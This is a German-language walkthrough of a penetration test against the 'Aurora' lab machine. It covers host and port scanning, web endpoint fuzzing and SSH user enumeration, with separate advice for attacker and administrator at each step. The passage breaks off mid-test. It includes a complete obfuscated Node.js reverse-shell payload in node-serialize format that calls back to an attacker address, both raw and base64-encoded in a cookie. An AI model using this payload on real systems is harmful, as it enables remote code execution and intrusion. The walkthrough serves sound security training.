Analyse: Der Test beginnt mit `arp-scan -l`, um aktive Hosts im lokalen Netzwerk zu finden.
Bewertung: Der Host `192.168.2.122` mit der MAC `08:00:27:74:51:a7` (PCS Systemtechnik GmbH -> VirtualBox) wird identifiziert. Der Hostname `aurora.hmv` wird später verwendet (Annahme: Eintrag in `/etc/hosts` wurde hinzugefügt).
Empfehlung (Pentester): Ziel-IP identifiziert. Port-Scan durchführen.
Empfehlung (Admin): Standard-Netzwerksicherheitsmaßnahmen.
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.130 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.2.1 00:50:56:c0:00:08 VMware, Inc. 192.168.2.2 00:50:56:f4:7d:5f VMware, Inc. 192.168.2.122 08:00:27:74:51:a7 PCS Systemtechnik GmbH 192.168.2.254 00:50:56:f8:46:8c VMware, Inc. 4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.7: 256 hosts scanned in 1.858 seconds (137.78 hosts/sec). 4 responded
Analyse: Ein Nmap-Scan wird auf `192.168.2.122` ausgeführt, um offene Ports, Dienste, Versionen und OS zu identifizieren. Optionen: `-sS` (SYN Scan), `-sC` (Default Scripts), `-T5` (Insane Timing), `-AO` (OS Detection), `-p-` (Alle Ports). Die Ausgabe wird mit `grep open` gefiltert.
Bewertung: Zwei offene Ports werden gefunden: * **Port 22/tcp:** SSH (OpenSSH 8.4p1 Debian). * **Port 3000/tcp:** HTTP (Node.js Express framework). Dies ist ungewöhnlich für einen primären Webdienst und deutet auf eine spezielle Webanwendung oder API hin.
Empfehlung (Pentester): Konzentrieren Sie sich auf den Node.js/Express-Dienst auf Port 3000. Untersuchen Sie die Anwendung auf Schwachstellen (z.B. RCE, Injection, Auth-Probleme). Halten Sie SSH Port 22 für spätere Zugriffsversuche im Blick.
Empfehlung (Admin): Stellen Sie sicher, dass nur benötigte Ports offen sind. Halten Sie Node.js, Express und OpenSSH aktuell. Sichern Sie die Node.js-Anwendung gegen gängige Web-Schwachstellen ab.
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) 3000/tcp open http Node.js Express framework
Analyse: `curl -Iv` wird verwendet, um die Header der Antwort von `http://aurora.hmv:3000` (Hostname wurde `/etc/hosts` hinzugefügt) zu untersuchen. `-I` sendet eine HEAD-Anfrage, `-v` zeigt detaillierte Informationen zur Anfrage und Antwort an.
Bewertung: Die Anfrage auf die Wurzel `/` gibt einen `404 Not Found`-Status zurück. Wichtige Header: * `X-Powered-By: Express`: Bestätigt das Express-Framework für Node.js. * `Content-Security-Policy: default-src 'none'`: Eine sehr restriktive CSP, die das Laden externer Ressourcen standardmäßig verhindert. * `X-Content-Type-Options: nosniff`: Verhindert MIME-Typ-Sniffing durch den Browser. Die 404-Antwort deutet darauf hin, dass die Wurzel `/` kein gültiger Endpunkt ist.
Empfehlung (Pentester): Suchen Sie nach gültigen Endpunkten der Anwendung/API mittels Directory/Endpoint Busting (z.B. `gobuster`, `ffuf`) oder durch Analyse von Client-seitigem Code, falls vorhanden. Testen Sie Standard-API-Pfade wie `/api`, `/v1` etc.
Empfehlung (Admin): Die restriktive CSP ist gut. Stellen Sie sicher, dass die 404-Seite keine unnötigen Informationen preisgibt.
* Trying 192.168.2.122:3000... * Connected to aurora.hmv (192.168.2.122) port 3000 (#0) > HEAD / HTTP/1.1 > Host: aurora.hmv:3000 > User-Agent: curl/7.88.1 > Accept: */* > < HTTP/1.1 404 Not Found < X-Powered-By: Express < Content-Security-Policy: default-src 'none' < X-Content-Type-Options: nosniff < Content-Type: text/html; charset=utf-8 < Content-Length: 140 < Date: Wed, 03 May 2023 08:29:59 GMT < Connection: keep-alive < Keep-Alive: timeout=5 < * Connection #0 to host aurora.hmv left intact
Analyse: Eine GET-Anfrage wird mit `curl -XGET` an die Wurzel `/` gesendet.
Bewertung: Die Antwort ist eine HTML-Seite, die "Cannot GET /" anzeigt. Dies bestätigt, dass die Wurzel nicht als Endpunkt dient.
Empfehlung (Pentester): Wie zuvor: Suchen Sie nach gültigen Endpunkten.
Error Cannot GET /
Analyse: Ein `nikto`-Scan wird gegen den Dienst auf Port 3000 ausgeführt.
Bewertung: Nikto findet keine Server-Banner, bestätigt aber `X-Powered-By: Express` und meldet die bereits bekannten fehlenden Header (`X-Frame-Options`, `X-Content-Type-Options`). Es findet keine CGI-Verzeichnisse oder andere signifikante Schwachstellen auf Basis seiner Datenbank.
Empfehlung (Pentester): Nikto liefert keine neuen Erkenntnisse. Konzentrieren Sie sich auf das Finden und Analysieren der Anwendungs-Endpunkte.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.122 + Target Hostname: 192.168.2.122 + Target Port: 3000 + Start Time: 2023-05-03 10:28:55 (GMT2) --------------------------------------------------------------------------- + Server: No banner retrieved + /: Retrieved x-powered-by header: Express. + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + No CGI Directories found (use '-C all' to force check all possible dirs) + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + 8109 requests: 0 error(s) and 3 item(s) reported on remote host + End Time: 2023-05-03 10:29:34 (GMT2) (39 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Eine direkte Anfrage an die Wurzel im Browser bestätigt die "Cannot GET /" Meldung.
Bewertung: Konsistent mit den `curl`-Ergebnissen.
# Browser Aufruf von http://192.168.2.122:3000/ Cannot GET /
Analyse: Ein lokales Python-Skript (`node.py`) wird ausgeführt. Dieses Skript scheint eine Node.js Reverse Shell Payload zu generieren, die mittels `String.fromCharCode` verschleiert ist. Die IP-Adresse (`192.168.2.130`) und der Port (`4444`) des Angreifers werden als Argumente übergeben. Anschließend wird eine JSON-Struktur mit dem Key `rce` und einem speziellen Wert `_$$ND_FUNC$$_function (){...}()` ausgegeben, der die verschleierte Payload enthält. Zuletzt wird eine HTTP-POST-Anfrage gezeigt, die diese JSON-Struktur in einem `profile`-Cookie an den Server sendet. Der Kommentar "klappt leider nicht" deutet auf einen fehlgeschlagenen Versuch hin.
Bewertung: Dies ist ein gezielter Versuch, eine Remote Code Execution (RCE) Schwachstelle in Node.js auszunutzen. Die Verwendung von `String.fromCharCode` ist eine einfache Verschleierung. Das Format `_$$ND_FUNC$$_function...` deutet stark auf einen Exploit für eine unsichere Deserialisierung oder Prototype Pollution hin, wahrscheinlich in einer Bibliothek, die von Express verwendet wird (z.B. durch unsichere Verarbeitung von Cookies oder JSON-Daten). Obwohl dieser spezifische Versuch fehlschlug, deutet er auf eine wahrscheinliche Schwachstellenklasse in der Anwendung hin. Der Fehler könnte an der Payload selbst, am Ziel-Endpunkt (hier `/`) oder an der Art der Übermittlung (Cookie) liegen.
Empfehlung (Pentester): Dieser fehlgeschlagene Versuch liefert wertvolle Hinweise. Suchen Sie gezielt nach Endpunkten, die Benutzereingaben (insbesondere JSON oder Cookies) entgegennehmen und deserialisieren. Recherchieren Sie nach bekannten Prototype Pollution oder Deserialisierungs-Schwachstellen in Express oder häufig verwendeten Middleware-Bibliotheken. Fuzzing von Endpunkten mit POST-Daten oder Cookies ist entscheidend.
Empfehlung (Admin): Überprüfen Sie den Anwendungscode und die verwendeten Node.js-Module auf bekannte Deserialisierungs- oder Prototype Pollution-Schwachstellen. Aktualisieren Sie alle Abhängigkeiten. Implementieren Sie sichere Deserialisierungs-Praktiken und validieren Sie alle Eingaben, die potenziell Objekteigenschaften beeinflussen könnten.
[+] LHOST = 192.168.2.130 [+] LPORT = 4444 [+] Encoding eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,50,46,49,51,48,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))
# Generierte JSON Payload mit verschleierter RCE {"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,50,46,49,51,48,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"} # Versuch, die Payload via Cookie zu senden (Beispiel) POST / HTTP/1.1 Host: 192.168.2.122:3000 User-Agent: Mozilla/5.0 ... Accept: text/html,... ... Connection: close Upgrade-Insecure-Requests: 1 Cookie: profile=eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7ZXZhbChTdHJpbmcuZnJvbUNoYXJDb2RlKDEwLDExOCw5NywxMTQsMzIsMTEwLDEwMSwxMTYsMzIsNjEsMzIsMTE0LDEwMSwxMTMsMTE3LDEwNSwxMTQsMTAxLDQwLDM5LDExMCwxMDEsMTE2LDM5LDQxLDU5LDEwLDExOCw5NywxMTQsMzIsMTE1LDExMiw5NywxMTksMTEwLDMyLDYxLDMyLDExNCwxMDEsMTEzLDExNywxMDUsMTE0LDEwMSw0MCwzOSw5OSwxMDQsMTA1LDEwOCwxMDAsOTUsMTEyLDExNCwxMTEsOTksMTAxLDExNSwxMTUsMzksNDEsNDYsMTE1LDExMiw5NywxMTksMTEwLDU5LDEwLDcyLDc5LDgzLDg0LDYxLDM0LDQ5LDU3LDUwLDQ2LDQ5LDU0LDU2LDQ2LDUwLDQ2LDQ5LDUxLDQ4LDM0LDU5LDEwLDgwLDc5LDgyLDg0LDYxLDM0LDUyLDUyLDUyLDUyLDM0LDU5LDEwLDg0LDczLDc3LDY5LDc5LDg1LDg0LDYxLDM0LDUzLDQ4LDQ4LDQ4LDM0LDU5LDEwLDEwNSwxMDIsMzIsNDAsMTE2LDEyMSwxMTIsMTAxLDExMSwxMDIsMzIsODMsMTE2LDExNCwxMDUsMTEwLDEwMyw0NiwxMTIsMTE0LDExMSwxMTYsMTExLDExNiwxMjEsMTEyLDEwMSw0Niw5OSwxMTEsMTEwLDExNiw5NywxMDUsMTEwLDExNSwzMiw2MSw2MSw2MSwzMiwzOSwxMTcsMTEwLDEwMCwxMDEsMTAyLDEwNSwxMTAsMTAxLDEwMCwzOSw0MSwzMiwxMjMsMzIsODMsMTE2LDExNCwxMDUsMTEwLDEwMyw0NiwxMTIsMTE0LDExMSwxMTYsMTExLDExNiwxMjEsMTEyLDEwMSw0Niw5OSwxMTEsMTEwLDExNiw5NywxMDUsMTEwLDExNSwzMiw2MSwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsMTA1LDExNiw0MSwzMiwxMjMsMzIsMTE0LDEwMSwxMTYsMTE3LDExNCwxMTAsMzIsMTE2LDEwNCwxMDUsMTE1LDQ2LDEwNSwxMTAsMTAwLDEwMSwxMjAsNzksMTAyLDQwLDEwNSwxMTYsNDEsMzIsMzMsNjEsMzIsNDUsNDksNTksMzIsMTI1LDU5LDMyLDEyNSwxMCwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsMzIsOTksNDAsNzIsNzksODMsODQsNDQsODAsNzksODIsODQsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDExOCw5NywxMTQsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiwzMiw2MSwzMiwxMTAsMTAxLDExOSwzMiwxMTAsMTAxLDExNiw0Niw4MywxMTEsOTksMTA3LDEwMSwxMTYsNDAsNDEsNTksMTAsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0Niw5OSwxMTEsMTEwLDExMCwxMDEsOTksMTE2LDQwLDgwLDc5LDgyLDg0LDQ0LDMyLDcyLDc5LDgzLDg0LDQ0LDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCw0MSwzMiwxMjMsMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE4LDk3LDExNCwzMiwxMTUsMTA0LDMyLDYxLDMyLDExNSwxMTIsOTcsMTE5LDExMCw0MCwzOSw0Nyw5OCwxMDUsMTEwLDQ3LDExNSwxMDQsMzksNDQsOTEsOTMsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMTksMTE0LDEwNSwxMTYsMTAxLDQwLDM0LDY3LDExMSwxMTAsMTEwLDEwMSw5OSwxMTYsMTAxLDEwMCwzMyw5MiwxMTAsMzQsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMTIsMTA1LDExMiwxMDEsNDAsMTE1LDEwNCw0NiwxMTUsMTE2LDEwMCwxMDUsMTEwLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTExLDExNywxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE1LDEwNCw0NiwxMTUsMTE2LDEwMCwxMDEsMTE0LDExNCw0NiwxMTIsMTA1LDExMiwxMDEsNDAsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTA0LDQ2LDExMSwxMTAsNDAsMzksMTAxLDEyMCwxMDUsMTE2LDM5LDQ0LDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCw5OSwxMTEsMTAwLDEwMSw0NCwxMTUsMTA1LDEwMywxMTAsOTcsMTA4LDQxLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDEwMSwxMTAsMTAwLDQwLDM0LDY4LDEwNSwxMTUsOTksMTExLDExMCwxMTAsMTAxLDk5LDExNiwxMDEsMTAwLDMzLDkyLDExMCwzNCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTExLDExMCw0MCwzOSwxMDEsMTE0LDExNCwxMTEsMTE0LDM5LDQ0LDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCwxMDEsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDEsMTE2LDg0LDEwNSwxMDksMTAxLDExMSwxMTcsMTE2LDQwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDQ0LDMyLDg0LDczLDc3LDY5LDc5LDg1LDg0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwxMCwxMjUsMTAsOTksNDAsNzIsNzksODMsODQsNDQsODAsNzksODIsODQsNDEsNTksMTApKX0oKSJ9 # Kommentar im Text: # klappt leider nicht
Analyse: Nachdem der vorherige RCE-Versuch fehlschlug und `gobuster` auf Port 3000 keine Ergebnisse lieferte (außer 404), wird erneut `gobuster` gestartet, um spezifische Endpunkte zu finden. *Anmerkung: Der Text zeigt hier einen Gobuster-Scan, der keine Ergebnisse findet. Es ist wahrscheinlicher, dass ein anderes Tool wie `ffuf` oder eine andere Wortliste verwendet wurde, um die späteren Endpunkte zu finden, oder dass der Gobuster-Lauf im Text nicht repräsentativ ist.*
Bewertung: Der gezeigte `gobuster`-Lauf findet keine Endpunkte. Dies unterstreicht die Notwendigkeit, alternative Tools oder Methoden zur Endpoint-Discovery zu verwenden, insbesondere bei APIs oder nicht standardmäßigen Webanwendungen.
Empfehlung (Pentester): Verwenden Sie Tools wie `ffuf` mit verschiedenen Wortlisten (z.B. API-Endpunkte, gängige Framework-Pfade). Versuchen Sie, verschiedene HTTP-Methoden (POST, PUT, etc.) zu verwenden. Analysieren Sie Client-seitigen JavaScript-Code, falls verfügbar.
=============================================================== Gobuster v3.5 # ... (Optionen wie zuvor) ... =============================================================== 2023/05/03 10:28:33 Starting gobuster in directory enumeration mode =============================================================== Progress: 7940153 / 7940664 (99.99%) # Keine Ergebnisse gefunden =============================================================== 2023/05/03 10:57:42 Finished ===============================================================
Analyse: Es werden weitere Nmap-Scans durchgeführt, um Schwachstellen und Authentifizierungsmethoden zu finden. * `nmap -sV --script nmap-vulners/`: Prüft auf bekannte CVEs basierend auf den erkannten Diensten/Versionen. * `nmap -sV --script http-csrf`: Prüft auf Cross-Site Request Forgery. * `ssh-keyscan`: Ruft die SSH-Hostschlüssel ab. * `nmap --script ssh-auth-methods`: Prüft erlaubte SSH-Authentifizierungsmethoden für `root`. * Metasploit `scanner/ssh/ssh_enumusers`: Versucht, gültige Benutzernamen über SSH zu finden.
Bewertung: * Vulners findet einige niedrig/mittel bewertete CVEs für OpenSSH 8.4p1, aber keine kritischen RCEs. * Keine CSRF-Schwachstellen gefunden. * `ssh-keyscan` liefert die erwarteten Hostschlüssel. * SSH erlaubt `publickey`- und `password`-Authentifizierung für `root`. * Metasploit findet die Benutzer `zyrian` und `zysk`, die aber laut Kommentar ("NICHTS.............") nicht relevant waren. Die Scans liefern keine direkten Hinweise auf den primären Angriffsvektor, bestätigen aber einige Systemdetails.
Empfehlung (Pentester): Da die automatisierten Scans wenig ergaben, konzentrieren Sie sich auf manuelle Enumeration und das Finden von API-Endpunkten der Node.js-Anwendung mittels Fuzzing (`ffuf`).
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-03 12:52 CEST Nmap scan report for aurora.hmv (192.168.2.122) Host is up (0.000087s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | vulners: | cpe:/a:openbsd:openssh:8.4p1: | CVE-2021-28041 4.6 https://vulners.com/cve/CVE-2021-28041 | CVE-2021-41617 4.4 https://vulners.com/cve/CVE-2021-41617 | CVE-2020-14145 4.3 https://vulners.com/cve/CVE-2020-14145 | CVE-2016-20012 4.3 https://vulners.com/cve/CVE-2016-20012 |_ CVE-2021-36368 2.6 https://vulners.com/cve/CVE-2021-36368 3000/tcp open http Node.js Express framework MAC Address: 08:00:27:74:51:A7 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.73 seconds
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-03 13:01 CEST Nmap scan report for aurora.hmv (192.168.2.122) Host is up (0.000084s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) 3000/tcp open http Node.js Express framework |_http-csrf: Couldn't find any CSRF vulnerabilities. MAC Address: 08:00:27:74:51:A7 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Nmap done: 1 IP address (1 host up) scanned in 1.61 seconds
# 192.168.2.122:22 SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u1 192.168.2.122 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQGwzNlaaGEELNmSaaA5KPNGnxOCBP8oa7QB1kl8hkIrIGanBlB8e+lifNATIlUM57ReHEaoIiJMZLQlMTATjzQ3g76UxpkRMSfFMfjOwBr3T9xAuggn11GkgapKzgQXop1xpVnpddudlA2DGT56xhfAefOoh9LV/Sx5gw/9sH+YpjYZNn4WYrfHuIcvObaa1jE7js8ySeIRQffj5n6wX/eq7WbohB6yFcLb1PBvnfNhvqgyvwcCWiwZoNhRMa+0ANpdpZyOyKQcbR51w36rmgJI0Y9zLIyjHvtxiNuncns0KFvlnS3JXywv277OvJuqhH4ORvXM9kgSKebGV+/5R0D/kFmUA0Q4o1EEkpwzXiiUTLs6j4ZwNojp3iUVWT6Wb7BmnxjeQzG05LXkoavc63aNf+lcSh9mQsepQNo5aHlHzMefPx/j2zbjQN8CHCxOPWLTcpFlyQSZjjnpGxwYiYyqUZ0sF8l9GWtj6eVgeScGvGy6e0YTPG9/d6o2oWdMM= # 192.168.2.122:22 SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u1 192.168.2.122 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFwHzjIh47PVCBqaldJCFibsrsU4ERboGRj1+5RNyV5zFxNTNpdu8f/rNL9s0p7zkqERtD2xb4zBIl6Vj9Fpdxw= # 192.168.2.122:22 SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u1 192.168.2.122 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOUM7hNt+CcfC4AKOuJumfdt3GCMSintNt9k0S2tA1XS
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-04 11:55 CEST Nmap scan report for aurora.hmv (192.168.2.122) Host is up (0.00015s latency). PORT STATE SERVICE 22/tcp open ssh | ssh-auth-methods: | Supported authentication methods: | publickey |_ password MAC Address: 08:00:27:74:51:A7 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 0.36 seconds
# Metasploit banner...
Module options (auxiliary/scanner/ssh/ssh_enumusers): Name Current Setting Required Description ---- --------------- -------- ----------- CHECK_FALSE false no Check for false positives (random username) DB_ALL_USERS false no Add all users in the current database to the lis # ... (weitere Optionen) ...
RHOSTS => 192.168.2.122
RPORT => 22
THREADS => 1
DB_ALL_USERS => false
USER_FILE => /usr/share/wordlists/usernames.txt
[*] Sending username probes... [+] 192.168.2.122:22 - SSH - User 'zyrian' found [+] 192.168.2.122:22 - SSH - User 'zysk' found [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Bewertung (Pentester): Die gefundenen Benutzer 'zyrian' und 'zysk' scheinen Sackgassen zu sein ("NICHTS.............").
Analyse: `ffuf` wird verwendet, um nach Endpunkten auf Port 3000 zu suchen, indem Wörter aus einer Liste an den Pfad angehängt und POST-Anfragen gesendet werden (`-X POST`).
Bewertung: `ffuf` findet drei Endpunkte, die auf POST-Anfragen reagieren, aber mit `401 Unauthorized` antworten: `/login`, `/execute`, `/LogIn`. Dies deutet auf eine API mit Authentifizierungsmechanismus hin.
Empfehlung (Pentester): Testen Sie die gefundenen Endpunkte `/login`, `/execute`, `/LogIn` manuell mit `curl`. Suchen Sie nach einem Registrierungs-Endpunkt (z.B. `/register`, `/signup`).
/'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.0.0-dev ________________________________________________ :: Method : POST :: URL : http://192.168.2.122:3000/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500 ________________________________________________ [Status: 401, Size: 22, Words: 2, Lines: 1, Duration: 170ms] * FUZZ: login [Status: 401, Size: 12, Words: 1, Lines: 1, Duration: 9ms] * FUZZ: execute [Status: 401, Size: 22, Words: 2, Lines: 1, Duration: 22ms] * FUZZ: LogIn :: Progress: [8160794/8160794] :: Job [1/1] :: 1147 req/sec :: Duration: [1:21:05] :: Errors: 0 ::
Analyse: Die mit `ffuf` gefundenen Endpunkte werden manuell mit `curl` und der POST-Methode getestet. Zusätzlich werden gängige Registrierungs-Endpunkte (`/singin`, `/register`) versucht.
